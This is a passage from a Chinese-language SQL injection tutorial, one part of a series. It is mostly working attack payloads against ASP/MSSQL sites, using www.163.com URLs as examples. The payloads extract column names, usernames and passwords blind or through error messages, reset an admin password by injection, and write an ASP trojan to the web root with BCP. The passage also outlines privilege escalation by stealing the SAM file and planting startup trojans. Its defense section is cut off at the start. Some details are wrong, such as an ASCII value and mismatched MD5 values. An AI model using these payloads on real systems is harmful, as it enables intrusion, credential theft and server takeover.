SQL注入漏洞的攻防策略(8)
猜解法:此方法就是根據(jù)個(gè)人的經(jīng)驗(yàn)猜字段名,一般來(lái)說(shuō),用戶(hù)名字段的名稱(chēng)常用:username,name,
user,account等。而密碼字段的名稱(chēng)常用:password,pass,pwd,passwd等。并通過(guò)語(yǔ)句進(jìn)行判斷
HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0
“select count(字段名) from 表名”
語(yǔ)句得到表的行數(shù),所以若字段名存在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到兩個(gè)
字段的名稱(chēng)。
讀取法:基本的實(shí)現(xiàn)方法是
HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from
TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知
表名的第一個(gè)字段名,當(dāng)與整數(shù)進(jìn)行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱(chēng)。
把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱(chēng)。
d 猜解用戶(hù)名與密碼
猜用戶(hù)名與密碼的內(nèi)容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L(zhǎng)度,然
后依次猜出每一位的值。猜用戶(hù)名與猜密碼的方法相同,以下以猜用戶(hù)名為例說(shuō)明其過(guò)程。
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from
TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username
為用戶(hù)名字段的名稱(chēng),admin為表的名稱(chēng)),若x為某一值i且news.asp運(yùn)行正常時(shí),則i就是第一個(gè)用
戶(hù)名的長(zhǎng)度。如:當(dāng)輸入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時(shí)
news.asp運(yùn)行正常,則第一個(gè)用戶(hù)名的長(zhǎng)度為8
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from
TestDB.dbo.admin)=n
(m的值在1到上一步得到的用戶(hù)名長(zhǎng)度之間,當(dāng)m=1,2,3,…時(shí)猜測(cè)分別猜測(cè)第1,2,3,…位的值;n的值是
1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶(hù)帳號(hào)表的名稱(chēng)),若n為某一值i
且news.asp運(yùn)行正常時(shí),則i對(duì)應(yīng)ASCII碼就是用戶(hù)名某一位值。如:當(dāng)輸入
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from
TestDB.dbo.admin)=80時(shí)news.asp運(yùn)行正常,則用戶(hù)名的第三位為P(P的ASCII為80);HTTP://www.163.co
m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33
時(shí)news.asp運(yùn)行正常,則用戶(hù)名的第9位為!(!的ASCII為80);猜到第一個(gè)用戶(hù)名及密碼后,同理,可以猜
出其他所有用戶(hù)名與密碼。注意:有時(shí)得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專(zhuān)用工具
進(jìn)行脫密?;蛘呦雀钠涿艽a,使用完后再改回來(lái),見(jiàn)下面說(shuō)明。簡(jiǎn)單法:猜用戶(hù)名用HTTP://www.163.com
/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,
flag是admin表中的一個(gè)字段,username是用戶(hù)名字段,此時(shí)news.asp工作異常,但能得到Username的值
。與上同樣的方法,可以得到第二用戶(hù)名,第三個(gè)用戶(hù)等等,直到表中的所有用戶(hù)名。
猜用戶(hù)密碼:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from
TestDB.dbo.admin where pwd>1) , flag是admin表中的一個(gè)字段,pwd是密碼字段,此時(shí)news.asp工作
異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶(hù)名的密碼,第三個(gè)用戶(hù)的密碼等等,直到
表中的所有用戶(hù)的密碼。密碼有時(shí)是經(jīng)MD5加密的,可以改密碼。
HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'
where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶(hù)名)用
同樣的方法當(dāng)然可把密碼改原來(lái)的值。
2、利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項(xiàng)功能,我們可以先建一張
臨時(shí)表,然后在表中一行一行地輸入一個(gè)ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa
–P foobar
('S'參數(shù)為執(zhí)行查詢(xún)的服務(wù)器,'U'參數(shù)為用戶(hù)名,'P'參數(shù)為密碼,最終上傳了一個(gè)163.asp的木馬)
3、利用工具,如NBSI給出的一些參考數(shù)據(jù)最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用戶(hù)名(默認(rèn)sql數(shù)據(jù)庫(kù)中存在著的)
public
dbo
guest(一般禁止,或者沒(méi)權(quán)限)
db_sercurityadmin
ab_dlladmin
一些默認(rèn)擴(kuò)展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅(qū)動(dòng)器相關(guān)
xp_dirtree 目錄
xp_enumdsn ODBC連接
xp_loginconfig 服務(wù)器安全模式信息
xp_makecab 創(chuàng)建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進(jìn)程,給出一個(gè)PID
(三)、得到系統(tǒng)的管理員權(quán)限
ASP木馬只有USER權(quán)限,要想獲取對(duì)系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限
的方法有很多種:
上傳木馬,修改開(kāi)機(jī)自動(dòng)運(yùn)行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶(hù)名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。
那么我們?cè)趺捶雷⑷肽?程序如下加入到asp或html或php或cgi里面都可以。經(jīng)過(guò)測(cè)試。加入如
top.asp文件中開(kāi)頭